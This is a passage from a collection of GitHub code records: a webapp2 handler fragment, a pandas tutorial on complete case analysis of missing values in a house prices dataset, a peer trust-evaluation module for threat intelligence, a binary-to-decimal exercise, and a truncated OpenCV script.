jinja2.FileSystemLoader(template_dir), autoescape = True)\n\ndef render_template(template_name):\n return jinja2_env.get_template(template_name + '.html').render(nav=template_name)\n\nclass MainHandler(webapp2.RequestHandler):\n def get(self):\n self.response.write(render_template('main'))\n\napp = webapp2.WSGIApplication([\n ('/', MainHandler)\n], debug=True)\n","repo_name":"hyeongukryu/hanyang-voting","sub_path":"server-status/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"4965603121","text":"\"\"\"\r\nCOMPLETE CASE ANALYSIS [CAA]\r\n- A.K.A list wise deletion of cases\r\n- consists in discarding observations where values in any of the variables are missing\r\n- complete case analysis means literally analysing only those observations for which there is information in all of the variables in the dataset.\r\n\r\nCAN I APPLY CAA TO BOTH NUMERICAL AND CATEGORICAL FEATURE/VARIABLE ?\r\n- yes... yes...\r\n\r\nASSUMPTIONS\r\n- CCA works well when the data are missing completely at random (MCAR). \r\n- In fact, we should use CCA if we have reasons to believe that data is missing at random, and not otherwise. \r\n- When data is MCAR, excluding observations with missing information is in essence the same as randomly excluding some observations from the dataset. \r\n- Therefore the dataset after CCA is a fair representation of the original dataset.\r\n\r\nADVANTAGES\r\n- Easy to implement\r\n- No data manipulation required\r\n- Preserves variable distribution (if data is MCAR, then the distribution of the variables of the reduced dataset should match the distribution in the original dataset)\r\n\r\nDISADVANTAGES\r\n- It can exclude a large fraction of the original dataset (if missing data is abundant)\r\n- Excluded observations could be informative for the analysis (if data is not missing at random)\r\n- CCA will create a biased dataset if the complete cases differ from the original data (e.g., when missing information is in fact MAR or NMAR and not missing at random).\r\n- When using our models in production, the model will not know how to handle missing data\r\n\r\nWHEN TO USE CCA ?\r\n- Data is missing completely at random\r\n- ~ 5% of the total dataset contains missing data\r\n\r\nIn many real life datasets, the amount of missing data is never small, and therefore CCA is typically never an option.\r\n\r\nCCA AND MODELS IN PRODUCTION\r\n- When using CCA, we remove all observations that contain missing information. \r\n- However, the data that we want to score with our model, may indeed contain missing information. \r\n- This will pose a problem when using our model in live systems, or as we call it, \r\n- when putting or models into production: when an observation contains missing data, the model will not be able to handle it.\r\n\r\n- In order to avoid this problem, when putting models into production we need to do 1 of 2 things: \r\n- either we do not score observations with missing data, or we replace the missing values by another number. \r\n- We can choose any from the imputation techniques to replace NA in the data to be scored.\r\n\r\nBELOW EXAMPLE ON HOW TO PERFORM CCA\r\n\"\"\"\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\npd.set_option('display.max_columns', None)\r\n\"\"\"\r\nhow to show all column names in VS CODE IDE ?\r\n\r\nCREDITS: https://stackoverflow.com/questions/49188960/how-to-show-all-columns-names-on-a-large-pandas-dataframe\r\n\r\nMethod 1:\r\n\r\npd.set_option('display.max_columns', None)\r\npd.set_option('display.max_rows', None)\r\n\r\nMethod 2:\r\n\r\npd.options.display.max_columns = None\r\npd.options.display.max_rows = None\r\n\"\"\"\r\n# load dataset\r\ndata = pd.read_csv('dataset/house-prices-advanced-regression-techniques/train.csv')\r\ndata.shape\r\n# (1460, 81)\r\n\r\n# view dataset\r\ndata.head()\r\n\"\"\" Id MSSubClass MSZoning LotFrontage LotArea Street Alley LotShape \\\r\n0 1 60 RL 65.0 8450 Pave NaN Reg 1 2 20 RL 80.0 9600 Pave NaN Reg \r\n2 3 60 RL 68.0 11250 Pave NaN IR1 \r\n3 4 70 RL 60.0 9550 Pave NaN IR1\r\n4 5 60 RL 84.0 14260 Pave NaN IR1\r\n\r\n LandContour Utilities LotConfig LandSlope Neighborhood Condition1 \\\r\n0 Lvl AllPub Inside Gtl CollgCr Norm\r\n1 Lvl AllPub FR2 Gtl Veenker Feedr\r\n2 Lvl AllPub Inside Gtl CollgCr Norm\r\n3 Lvl AllPub Corner Gtl Crawfor Norm\r\n4 Lvl AllPub FR2 Gtl NoRidge Norm\r\n\r\n Condition2 BldgType HouseStyle OverallQual OverallCond YearBuilt \\\r\n0 Norm 1Fam 2Story 7 5 2003\r\n1 Norm 1Fam 1Story 6 8 1976\r\n2 Norm 1Fam 2Story 7 5 2001\r\n3 Norm 1Fam 2Story 7 5 1915\r\n4 Norm 1Fam 2Story 8 5 2000\r\n\r\n YearRemodAdd RoofStyle RoofMatl Exterior1st Exterior2nd MasVnrType \\\r\n0 2003 Gable CompShg VinylSd VinylSd BrkFace\r\n1 1976 Gable CompShg MetalSd MetalSd None\r\n2 2002 Gable CompShg VinylSd VinylSd BrkFace\r\n3 1970 Gable CompShg Wd Sdng Wd Shng None\r\n4 2000 Gable CompShg VinylSd VinylSd BrkFace\r\n\r\n MasVnrArea ExterQual ExterCond Foundation BsmtQual BsmtCond BsmtExposure \\\r\n0 196.0 Gd TA PConc Gd TA No\r\n1 0.0 TA TA CBlock Gd TA Gd\r\n2 162.0 Gd TA PConc Gd TA Mn\r\n3 0.0 TA TA BrkTil TA Gd No\r\n4 350.0 Gd TA PConc Gd TA Av\r\n\r\n BsmtFinType1 BsmtFinSF1 BsmtFinType2 BsmtFinSF2 BsmtUnfSF TotalBsmtSF \\\r\n0 GLQ 706 Unf 0 150 856\r\n1 ALQ 978 Unf 0 284 1262\r\n2 GLQ 486 Unf 0 434 920\r\n3 ALQ 216 Unf 0 540 756\r\n4 GLQ 655 Unf 0 490 1145\r\n\r\n Heating HeatingQC CentralAir Electrical 1stFlrSF 2ndFlrSF LowQualFinSF \\\r\n0 GasA Ex Y SBrkr 856 854 0\r\n1 GasA Ex Y SBrkr 1262 0 0\r\n2 GasA Ex Y SBrkr 920 866 0\r\n3 GasA Gd Y SBrkr 961 756 0\r\n4 GasA Ex Y SBrkr 1145 1053 0\r\n\r\n GrLivArea BsmtFullBath BsmtHalfBath FullBath HalfBath BedroomAbvGr \\\r\n0 1710 1 0 2 1 3\r\n1 1262 0 1 2 0 3\r\n2 1786 1 0 2 1 3\r\n3 1717 1 0 1 0 3\r\n4 2198 1 0 2 1 4\r\n\r\n KitchenAbvGr KitchenQual TotRmsAbvGrd Functional Fireplaces FireplaceQu \\\r\n0 1 Gd 8 Typ 0 NaN\r\n1 1 TA 6 Typ 1 TA\r\n2 1 Gd 6 Typ 1 TA\r\n3 1 Gd 7 Typ 1 Gd\r\n4 1 Gd 9 Typ 1 TA\r\n\r\n GarageType GarageYrBlt GarageFinish GarageCars GarageArea GarageQual \\\r\n0 Attchd 2003.0 RFn 2 548 TA\r\n1 Attchd 1976.0 RFn 2 460 TA\r\n2 Attchd 2001.0 RFn 2 608 TA\r\n3 Detchd 1998.0 Unf 3 642 TA\r\n4 Attchd 2000.0 RFn 3 836 TA\r\n\r\n GarageCond PavedDrive WoodDeckSF OpenPorchSF EnclosedPorch 3SsnPorch \\\r\n0 TA Y 0 61 0 0\r\n1 TA Y 298 0 0 0\r\n2 TA Y 0 42 0 0\r\n3 TA Y 0 35 272 0\r\n4 TA Y 192 84 0 0\r\n\r\n ScreenPorch PoolArea PoolQC Fence MiscFeature MiscVal MoSold YrSold \\\r\n0 0 0 NaN NaN NaN 0 2 2008\r\n1 0 0 NaN NaN NaN 0 5 2007\r\n2 0 0 NaN NaN NaN 0 9 2008\r\n3 0 0 NaN NaN NaN 0 2 2006\r\n4 0 0 NaN NaN NaN 0 12 2008\r\n\r\n SaleType SaleCondition SalePrice\r\n0 WD Normal 208500\r\n1 WD Normal 181500\r\n2 WD Normal 223500\r\n3 WD Abnorml 140000\r\n4 WD Normal 250000 \"\"\"\r\n\r\n# FIND FEATURE/VARIABLE WITH MISSING OBERVATIONS/DATA POINTS\r\n\r\nfeat_with_na = [feat for feat in data.columns if data[feat].isnull().mean() > 0]\r\nfeat_with_na\r\n# ['LotFrontage', 'Alley', 'MasVnrType', 'MasVnrArea', 'BsmtQual', 'BsmtCond', 'BsmtExposure', 'BsmtFinType1', 'BsmtFinType2', 'Electrical', 'FireplaceQu', 'GarageType', 'GarageYrBlt', 'GarageFinish', 'GarageQual', 'GarageCond', 'PoolQC', 'Fence', 'MiscFeature']\r\n\r\n# FIND OUT THE DATA TYPE OF feat_with_na\r\n\r\ndata[feat_with_na].dtypes\r\n\"\"\" LotFrontage float64\r\nAlley object\r\nMasVnrType object\r\nMasVnrArea float64\r\nBsmtQual object\r\nBsmtCond object\r\nBsmtExposure object\r\nBsmtFinType1 object\r\nBsmtFinType2 object\r\nElectrical object\r\nFireplaceQu object\r\nGarageType object\r\nGarageYrBlt float64\r\nGarageFinish object\r\nGarageQual object\r\nGarageCond object\r\nPoolQC object\r\nFence object\r\nMiscFeature object\r\ndtype: object \"\"\"\r\n\r\n# both numerical & categorical data types are present. \r\n\r\n# view obervations/data points of missing data\r\n\r\ndata[feat_with_na].head(10)\r\n\"\"\" LotFrontage Alley MasVnrType MasVnrArea BsmtQual BsmtCond BsmtExposure \\\r\n0 65.0 NaN BrkFace 196.0 Gd TA No\r\n1 80.0 NaN None 0.0 Gd TA Gd\r\n2 68.0 NaN BrkFace 162.0 Gd TA Mn\r\n3 60.0 NaN None 0.0 TA Gd No\r\n4 84.0 NaN BrkFace 350.0 Gd TA Av\r\n5 85.0 NaN None 0.0 Gd TA No\r\n6 75.0 NaN Stone 186.0 Ex TA Av\r\n7 NaN NaN Stone 240.0 Gd TA Mn\r\n8 51.0 NaN None 0.0 TA TA No\r\n9 50.0 NaN None 0.0 TA TA No\r\n\r\n BsmtFinType1 BsmtFinType2 Electrical FireplaceQu GarageType GarageYrBlt \\\r\n0 GLQ Unf SBrkr NaN Attchd 2003.0\r\n1 ALQ Unf SBrkr TA Attchd 1976.0\r\n2 GLQ Unf SBrkr TA Attchd 2001.0\r\n3 ALQ Unf SBrkr Gd Detchd 1998.0\r\n4 GLQ Unf SBrkr TA Attchd 2000.0\r\n5 GLQ Unf SBrkr NaN Attchd 1993.0\r\n6 GLQ Unf SBrkr Gd Attchd 2004.0\r\n7 ALQ BLQ SBrkr TA Attchd 1973.0\r\n8 Unf Unf FuseF TA Detchd 1931.0\r\n9 GLQ Unf SBrkr TA Attchd 1939.0\r\n\r\n GarageFinish GarageQual GarageCond PoolQC Fence MiscFeature\r\n0 RFn TA TA NaN NaN NaN\r\n1 RFn TA TA NaN NaN NaN\r\n2 RFn TA TA NaN NaN NaN\r\n3 Unf TA TA NaN NaN NaN\r\n4 RFn TA TA NaN NaN NaN\r\n5 Unf TA TA NaN MnPrv Shed\r\n6 RFn TA TA NaN NaN NaN\r\n7 RFn TA TA NaN NaN Shed\r\n8 Unf Fa TA NaN NaN NaN\r\n9 RFn Gd TA NaN NaN NaN \"\"\"\r\n\r\n# FIND OUT PERCENTAGE OF OBSERVATIONS/DATA POINTS PER FEATURE/VARIABLE\r\n\r\ndata_na_percentage = data[feat_with_na].isnull().mean()\r\n\"\"\" LotFrontage 0.177397\r\nAlley 0.937671\r\nMasVnrArea 0.005479\r\nBsmtQual 0.025342\r\nBsmtCond 0.025342\r\nBsmtExposure 0.026027\r\nBsmtFinType1 0.025342\r\nBsmtFinType2 0.026027\r\nElectrical 0.000685\r\nFireplaceQu 0.472603\r\nGarageType 0.055479\r\nGarageYrBlt 0.055479\r\nGarageFinish 0.055479\r\nGarageQual 0.055479\r\nGarageCond 0.055479\r\nPoolQC 0.995205\r\nFence 0.807534\r\nMiscFeature 0.963014\r\ndtype: float64 \"\"\"\r\n\r\n# lets convert from float to dataframe \r\n\r\n# transform array into dataframe\r\ndata_na_percentage = pd.DataFrame(data_na_percentage.reset_index())\r\n\"\"\" index 0\r\n0 LotFrontage 0.177397\r\n1 Alley 0.937671\r\n2 MasVnrType 0.005479\r\n3 MasVnrArea 0.005479\r\n4 BsmtQual 0.025342\r\n5 BsmtCond 0.025342\r\n6 BsmtExposure 0.026027\r\n7 BsmtFinType1 0.025342\r\n8 BsmtFinType2 0.026027\r\n9 Electrical 0.000685\r\n10 FireplaceQu 0.472603\r\n11 GarageType 0.055479\r\n12 GarageYrBlt 0.055479\r\n13 GarageFinish 0.055479\r\n14 GarageQual 0.055479\r\n15 GarageCond 0.055479\r\n16 PoolQC 0.995205\r\n17 Fence 0.807534\r\n18 MiscFeature 0.963014 \"\"\"\r\n\r\n# add column names to dataframe\r\ndata_na_percentage.columns = ['feature','na_percentage']\r\n\"\"\" feature na_percentage\r\n0 LotFrontage 0.177397\r\n1 Alley 0.937671\r\n2 MasVnrType 0.005479\r\n3 MasVnrArea 0.005479\r\n4 BsmtQual 0.025342\r\n5 BsmtCond 0.025342\r\n6 BsmtExposure 0.026027\r\n7 BsmtFinType1 0.025342\r\n8 BsmtFinType2 0.026027\r\n9 Electrical 0.000685\r\n10 FireplaceQu 0.472603\r\n11 GarageType 0.055479\r\n12 GarageYrBlt 0.055479\r\n13 GarageFinish 0.055479\r\n14 GarageQual 0.055479\r\n15 GarageCond 0.055479\r\n16 PoolQC 0.995205\r\n17 Fence 0.807534\r\n18 MiscFeature 0.963014 \"\"\"\r\n\r\n# order based on descending\r\ndata_na_percentage.sort_values(by='na_percentage',ascending=False, inplace=True)\r\n\"\"\" feature na_percentage\r\n16 PoolQC 0.995205\r\n18 MiscFeature 0.963014\r\n1 Alley 0.937671\r\n17 Fence 0.807534\r\n10 FireplaceQu 0.472603\r\n0 LotFrontage 0.177397\r\n11 GarageType 0.055479\r\n12 GarageYrBlt 0.055479\r\n13 GarageFinish 0.055479\r\n14 GarageQual 0.055479\r\n15 GarageCond 0.055479\r\n6 BsmtExposure 0.026027\r\n8 BsmtFinType2 0.026027\r\n7 BsmtFinType1 0.025342\r\n5 BsmtCond 0.025342\r\n4 BsmtQual 0.025342\r\n3 MasVnrArea 0.005479\r\n2 MasVnrType 0.005479\r\n9 Electrical 0.000685 \"\"\"\r\n\r\n\"\"\" \r\nOBSERVATIONS:\r\n- The first 6 variables contain a lot of missing information. \r\n- So we can't use CCA if we consider those variables, as most of the observations in the dataset will be discarded. \r\n- We could otherwise use CCA if we omit using those variables with a lot of NA.\r\n\r\n- For this example, I will ignore the first 6 variables with a lot of missing data, and proceed with CCA in the remaining of the dataset. \"\"\"\r\n\r\n# lets capture features/variables with no or less than 5% NA to drop NA\r\n\r\nfeatures_cca = [feat for feat in data.columns if data[feat].isnull().mean() < 0.05]\r\n\"\"\" ['Id', 'MSSubClass', 'MSZoning', 'LotArea', 'Street', 'LotShape', 'LandContour', 'Utilities', 'LotConfig', 'LandSlope', 'Neighborhood', 'Condition1', 'Condition2', 'BldgType', 'HouseStyle', 'OverallQual', 'OverallCond', 'YearBuilt', 'YearRemodAdd', 'RoofStyle', 'RoofMatl', 'Exterior1st', 'Exterior2nd', 'MasVnrType', 'MasVnrArea', 'ExterQual', 'ExterCond', 'Foundation', 'BsmtQual', 'BsmtCond', 'BsmtExposure', 'BsmtFinType1', 'BsmtFinSF1', 'BsmtFinType2', 'BsmtFinSF2', 'BsmtUnfSF', 'TotalBsmtSF', 'Heating', 'HeatingQC', 'CentralAir', 'Electrical', '1stFlrSF', '2ndFlrSF', 'LowQualFinSF', 'GrLivArea', 'BsmtFullBath', 'BsmtHalfBath', 'FullBath', 'HalfBath', 'BedroomAbvGr', 'KitchenAbvGr', 'KitchenQual', 'TotRmsAbvGrd', 'Functional', 'Fireplaces', 'GarageCars', 'GarageArea', 'PavedDrive', 'WoodDeckSF', 'OpenPorchSF', 'EnclosedPorch', '3SsnPorch', 'ScreenPorch', 'PoolArea', 'MiscVal', 'MoSold', 'YrSold', 'SaleType', 'SaleCondition', 'SalePrice'] \"\"\"\r\n\r\n# PERCENTAGE OF OBSERVATIONS/DATA POINTS with complete cases i,e with values for all features/variables\r\n\r\n(len(data[features_cca].dropna()) / len(data) *100)\r\n# 96.7123287671233\r\n\r\ndata_cca = data[features_cca].dropna()\r\ndata.shape \r\n# (1460, 81)\r\n\r\ndata_cca.shape\r\n# (1412, 70)\r\n\r\ndata_cca.hist(bins=50, density=True, figsize=(12,12))\r\nplt.savefig(\"0._histogram_post_CCA.png\")\r\nplt.show()\r\n\r\n# lets check distribution via histogram of few features/variables before & after CCA\r\n\r\nfig = plt.figure()\r\nax = fig.add_subplot(111)\r\n\r\n# original data\r\ndata['GrLivArea'].hist(bins=50, ax=ax, density = True, color='red')\r\n\r\n# data after cca, the argument alpha makes the color transparent, so we can\r\n# see the overlay of the 2 distributions\r\ndata_cca['GrLivArea'].hist(bins=50, ax=ax, color='blue', density=True, alpha=0.8)\r\nplt.savefig('0._histogram_before_after_CCA_forFeature_GrLivArea.png')\r\nplt.show()\r\n\r\n# lets check distribution via density plot of few features/variables before & after CCA\r\n\r\nfig = plt.figure()\r\nax = fig.add_subplot(111)\r\n\r\n# original data\r\ndata['GrLivArea'].plot.density(color='red')\r\n\r\n# data after cca\r\ndata_cca['GrLivArea'].plot.density(color='blue')\r\nplt.savefig('0._densityPlot_before_after_CCA_forFeature_GrLivArea.png')\r\nplt.show()\r\n\r\n# let's check the distribution of a few variables before and after cca: histogram\r\n\r\nfig = plt.figure()\r\nax = fig.add_subplot(111)\r\n\r\n# original data\r\ndata['BsmtFinSF1'].hist(bins=50, ax=ax, density=True, color='red')\r\n\r\n# data after cca, the argument alpha makes the color transparent, so we can\r\n# see the overlay of the 2 distributions\r\ndata_cca['BsmtFinSF1'].hist(bins=50, ax=ax, color='blue', density=True, alpha=0.8)\r\nplt.savefig('0._histogram_before_after_CCA_forFeature_BsmtFinSF1.png')\r\nplt.show()\r\n\r\n## let's check the distribution of a few variables before and after \r\n# cca: density plot\r\n\r\nfig = plt.figure()\r\nax = fig.add_subplot(111)\r\n\r\n# original data\r\ndata['BsmtFinSF1'].plot.density(color='red')\r\n\r\n# data after cca\r\ndata_cca['BsmtFinSF1'].plot.density(color='blue')\r\nplt.savefig('0._densityPlot_before_after_CCA_forFeature_BsmtFinSF1.png')\r\nplt.show()\r\n\r\n\"\"\" \r\nOBSERVATIONS:\r\n- As we can see from the above plots, the distribution of the selected numerical variables in the original and complete case dataset is very similar\r\n- which is what we expect from CCA if data is missing at random and only for a small proportion of the observations.\r\n\r\nnext up, explore the distribution of categorical variables. To do so, I will evaluate the percentage of observations that show each of the unique categories \"\"\"\r\n\r\n# the following function captures the percentage of observations for each category in the original and complete case dataset and puts them together in a new dataframe\r\n\r\ndef categorical_distribution(df, df_cca, variable):\r\n temp = pd.concat([\r\n # % of observations per category, original data\r\n df[variable].value_counts() / len(df),\r\n\r\n # % of observations per category, CCA data\r\n df_cca[variable].value_counts() / len(df_cca)\r\n ],axis=1)\r\n\r\n temp.column = ['original','cca']\r\n\r\n return temp\r\n\r\n# run the function in a categorical variable\r\ncategorical_distribution(data, data_cca, 'BsmtQual')\r\n\"\"\" \r\n BsmtQual BsmtQual\r\nTA 0.444521 0.458924\r\nGd 0.423288 0.431303\r\nEx 0.082877 0.084986\r\nFa 0.023973 0.024788 \"\"\"\r\n\r\ncategorical_distribution(data, data_cca, 'MasVnrType')\r\n\"\"\" MasVnrType MasVnrType\r\nNone 0.591781 0.588527\r\nBrkFace 0.304795 0.310198\r\nStone 0.087671 0.090652\r\nBrkCmn 0.010274 0.010623 \"\"\"\r\n\r\ncategorical_distribution(data, data_cca, 'SaleCondition')\r\n\"\"\" SaleCondition SaleCondition\r\nNormal 0.820548 0.820822\r\nPartial 0.085616 0.086402\r\nAbnorml 0.069178 0.070822\r\nFamily 0.013699 0.014164\r\nAlloca 0.008219 0.005666\r\nAdjLand 0.002740 0.002125 \"\"\"\r\n\r\n\"\"\" \r\nOBSERVATION\r\n- As we can see from the output above, the distribution of houses in each of the categories, is very similar in the original and complete case dataset\r\n- which again, is what is expected if the data is missing completely at random, and the percentage of missing data is small.\r\n \"\"\"","repo_name":"Akshaykumarcp/ML-Feature-Engineering","sub_path":"0.3_missing value imputation/0.1_complete_case_analysis.py","file_name":"0.1_complete_case_analysis.py","file_ext":"py","file_size_in_byte":21039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7873495985","text":"from collections import defaultdict\nfrom typing import Dict, Tuple, Optional\n\nfrom fides.evaluation.service.interaction import Satisfaction, Weight, SatisfactionLevels\nfrom fides.messaging.model import PeerIntelligenceResponse\nfrom fides.model.aliases import PeerId, Target\nfrom fides.model.peer_trust_data import PeerTrustData, TrustMatrix\nfrom fides.model.threat_intelligence import SlipsThreatIntelligence\nfrom fides.utils.logger import Logger\n\nlogger = Logger(__name__)\n\n\nclass TIEvaluation:\n def evaluate(self,\n aggregated_ti: SlipsThreatIntelligence,\n responses: Dict[PeerId, PeerIntelligenceResponse],\n trust_matrix: TrustMatrix,\n **kwargs,\n ) -> Dict[PeerId, Tuple[PeerTrustData, Satisfaction, Weight]]:\n \"\"\"Evaluate interaction with all peers that gave intelligence responses.\"\"\"\n raise NotImplemented('Use implementation rather then interface!')\n\n @staticmethod\n def _weight() -> Weight:\n return Weight.INTELLIGENCE_DATA_REPORT\n\n @staticmethod\n def _assert_keys(responses: Dict[PeerId, PeerIntelligenceResponse], trust_matrix: TrustMatrix):\n assert trust_matrix.keys() == responses.keys()\n\n\nclass EvenTIEvaluation(TIEvaluation):\n \"\"\"Basic implementation for the TI evaluation, all responses are evaluated the same.\n This implementation corresponds with Salinity botnet.\n \"\"\"\n\n def __init__(self, **kwargs):\n self.__kwargs = kwargs\n self.__satisfaction = kwargs.get('satisfaction', SatisfactionLevels.Ok)\n\n def evaluate(self,\n aggregated_ti: SlipsThreatIntelligence,\n responses: Dict[PeerId, PeerIntelligenceResponse],\n trust_matrix: TrustMatrix,\n **kwargs,\n ) -> Dict[PeerId, Tuple[PeerTrustData, Satisfaction, Weight]]:\n super()._assert_keys(responses, trust_matrix)\n\n return {p.peer_id: (p, self.__satisfaction, self._weight()) for p in\n trust_matrix.values()}\n\n\nclass DistanceBasedTIEvaluation(TIEvaluation):\n \"\"\"Implementation that takes distance from the aggregated result and uses it as a penalisation.\"\"\"\n\n def __init__(self, **kwargs):\n self.__kwargs = kwargs\n\n def evaluate(self,\n aggregated_ti: SlipsThreatIntelligence,\n responses: Dict[PeerId, PeerIntelligenceResponse],\n trust_matrix: TrustMatrix,\n **kwargs,\n ) -> Dict[PeerId, Tuple[PeerTrustData, Satisfaction, Weight]]:\n super()._assert_keys(responses, trust_matrix)\n return self._build_evaluation(\n baseline_score=aggregated_ti.score,\n baseline_confidence=aggregated_ti.confidence,\n responses=responses,\n trust_matrix=trust_matrix\n )\n\n def _build_evaluation(\n self,\n baseline_score: float,\n baseline_confidence: float,\n responses: Dict[PeerId, PeerIntelligenceResponse],\n trust_matrix: TrustMatrix,\n ) -> Dict[PeerId, Tuple[PeerTrustData, Satisfaction, Weight]]:\n satisfactions = {\n peer_id: self._satisfaction(\n baseline_score=baseline_score,\n baseline_confidence=baseline_confidence,\n report_score=ti.intelligence.score,\n report_confidence=ti.intelligence.confidence\n )\n for peer_id, ti in responses.items()\n }\n\n return {p.peer_id: (p, satisfactions[p.peer_id], self._weight()) for p in\n trust_matrix.values()}\n\n @staticmethod\n def _satisfaction(baseline_score: float,\n baseline_confidence: float,\n report_score: float,\n report_confidence: float) -> Satisfaction:\n return (1 - (abs(baseline_score - report_score) / 2) * report_confidence) * baseline_confidence\n\n\nclass LocalCompareTIEvaluation(DistanceBasedTIEvaluation):\n \"\"\"This strategy compares received threat intelligence with the threat intelligence from local database.\n\n Uses the same penalisation system as DistanceBasedTIEvaluation with the difference that as a baseline,\n it does not use aggregated value, but rather local intelligence.\n\n If it does not find threat intelligence for the target, it falls backs to DistanceBasedTIEvaluation.\n \"\"\"\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.__default_ti_getter = kwargs.get('default_ti_getter', None)\n\n def get_local_ti(self,\n target: Target,\n local_ti: Optional[SlipsThreatIntelligence] = None) -> Optional[SlipsThreatIntelligence]:\n if local_ti:\n return local_ti\n elif self.__default_ti_getter:\n return self.__default_ti_getter(target)\n else:\n return None\n\n def evaluate(self,\n aggregated_ti: SlipsThreatIntelligence,\n responses: Dict[PeerId, PeerIntelligenceResponse],\n trust_matrix: TrustMatrix,\n local_ti: Optional[SlipsThreatIntelligence] = None,\n **kwargs,\n ) -> Dict[PeerId, Tuple[PeerTrustData, Satisfaction, Weight]]:\n super()._assert_keys(responses, trust_matrix)\n\n ti = self.get_local_ti(aggregated_ti.target, local_ti)\n if not ti:\n ti = aggregated_ti\n logger.warn(f'No local threat intelligence available for target {ti.target}! ' +\n 'Falling back to DistanceBasedTIEvaluation.')\n\n return self._build_evaluation(\n baseline_score=ti.score,\n baseline_confidence=ti.confidence,\n responses=responses,\n trust_matrix=trust_matrix\n )\n\n\nclass WeighedDistanceToLocalTIEvaluation(TIEvaluation):\n \"\"\"Strategy combines DistanceBasedTIEvaluation and LocalCompareTIEvaluation with the local weight parameter.\"\"\"\n\n def __init__(self, **kwargs):\n super().__init__()\n self.__distance = kwargs.get('distance', DistanceBasedTIEvaluation())\n self.__local = kwargs.get('localDistance', LocalCompareTIEvaluation())\n self.__local_weight = kwargs.get('localWeight', 0.5)\n\n def evaluate(self,\n aggregated_ti: SlipsThreatIntelligence,\n responses: Dict[PeerId, PeerIntelligenceResponse],\n trust_matrix: TrustMatrix,\n **kwargs,\n ) -> Dict[PeerId, Tuple[PeerTrustData, Satisfaction, Weight]]:\n super()._assert_keys(responses, trust_matrix)\n\n distance_data = self.__distance.evaluate(aggregated_ti, responses, trust_matrix, **kwargs)\n local_data = self.__local.evaluate(aggregated_ti, responses, trust_matrix, **kwargs)\n\n return {p.peer_id: (p,\n self.__local_weight * local_data[p.peer_id][1] +\n (1 - self.__local_weight) * distance_data[p.peer_id][1],\n self._weight()\n ) for p in trust_matrix.values()}\n\n\nclass MaxConfidenceTIEvaluation(TIEvaluation):\n \"\"\"Strategy combines DistanceBasedTIEvaluation, LocalCompareTIEvaluation and EvenTIEvaluation\n in order to achieve maximal confidence when producing decision.\n \"\"\"\n\n def __init__(self, **kwargs):\n super().__init__()\n self.__distance = kwargs.get('distance', DistanceBasedTIEvaluation())\n self.__local = kwargs.get('localDistance', LocalCompareTIEvaluation())\n self.__even = kwargs.get('even', EvenTIEvaluation())\n\n def evaluate(self,\n aggregated_ti: SlipsThreatIntelligence,\n responses: Dict[PeerId, PeerIntelligenceResponse],\n trust_matrix: TrustMatrix,\n **kwargs,\n ) -> Dict[PeerId, Tuple[PeerTrustData, Satisfaction, Weight]]:\n super()._assert_keys(responses, trust_matrix)\n zero_dict = defaultdict(lambda: (None, 0, None))\n\n # weight of the distance based evaluation\n distance_weight = aggregated_ti.confidence\n distance_data = self.__distance.evaluate(aggregated_ti, responses, trust_matrix, **kwargs) \\\n if distance_weight > 0 \\\n else zero_dict\n\n # now we need to check if we even have some threat intelligence data\n local_ti = self.__local.get_local_ti(aggregated_ti.target, **kwargs)\n # weight of the local evaluation\n local_weight = min(1 - distance_weight, local_ti.confidence) if local_ti else 0\n local_data = self.__local.evaluate(aggregated_ti, responses, trust_matrix, **kwargs) \\\n if local_weight > 0 \\\n else zero_dict\n\n # weight of the same eval\n even_weight = 1 - distance_weight - local_weight\n even_data = self.__even.evaluate(aggregated_ti, responses, trust_matrix, **kwargs) \\\n if even_weight > 0 \\\n else zero_dict\n\n def aggregate(peer: PeerId):\n return distance_weight * distance_data[peer][1] + \\\n local_weight * local_data[peer][1] + \\\n even_weight * even_data[peer][1]\n\n return {p.peer_id: (p, aggregate(p.peer_id), self._weight()) for p in\n trust_matrix.values()}\n\n\nclass ThresholdTIEvaluation(TIEvaluation):\n \"\"\"Employs DistanceBasedTIEvaluation when the confidence of the decision\n is higher than given threshold. Otherwise, it uses even evaluation.\n \"\"\"\n\n def __init__(self, **kwargs):\n self.__kwargs = kwargs\n self.__threshold = kwargs.get('threshold', 0.5)\n self.__lower = kwargs.get('lower', EvenTIEvaluation())\n self.__higher = kwargs.get('higher', DistanceBasedTIEvaluation())\n\n def evaluate(self,\n aggregated_ti: SlipsThreatIntelligence,\n responses: Dict[PeerId, PeerIntelligenceResponse],\n trust_matrix: TrustMatrix,\n **kwargs,\n ) -> Dict[PeerId, Tuple[PeerTrustData, Satisfaction, Weight]]:\n super()._assert_keys(responses, trust_matrix)\n\n return self.__higher.evaluate(aggregated_ti, responses, trust_matrix) \\\n if self.__threshold <= aggregated_ti.confidence \\\n else self.__lower.evaluate(aggregated_ti, responses, trust_matrix)\n\n\nEvaluationStrategy = {\n 'even': EvenTIEvaluation,\n 'distance': DistanceBasedTIEvaluation,\n 'localDistance': LocalCompareTIEvaluation,\n 'threshold': ThresholdTIEvaluation,\n 'maxConfidence': MaxConfidenceTIEvaluation,\n 'weighedDistance': WeighedDistanceToLocalTIEvaluation\n}\n","repo_name":"LukasForst/fides","sub_path":"fides/evaluation/ti_evaluation.py","file_name":"ti_evaluation.py","file_ext":"py","file_size_in_byte":10616,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"7980420793","text":"x = str(input('Enter number: '))\n\nli = []\n\nfor i in x:\n li.append(i)\n\nd = int(len(li)) - 1\n\nvSum = 0\n\nfor i in range(d + 1):\n\n y = int(li[d]) * 2 ** i\n d = d - 1\n vSum = vSum + y\n\nprint(vSum)\n","repo_name":"ArnonGot/lab_python","sub_path":"binarytwo.py","file_name":"binarytwo.py","file_ext":"py","file_size_in_byte":204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28352742880","text":"import cv2\nimport numpy as np\nimport argparse\n\n\ndef main():\n # Get command line args.\n parser = argparse.ArgumentParser()\n parser.add_argument('image_file')\n parser.add_argument('path_file')\n args = parser.parse_args()\n\n # Read image.\n im = cv2.imread(args.image_file)\n\n # Load path.\n path = np.loadtxt(args.path_file, 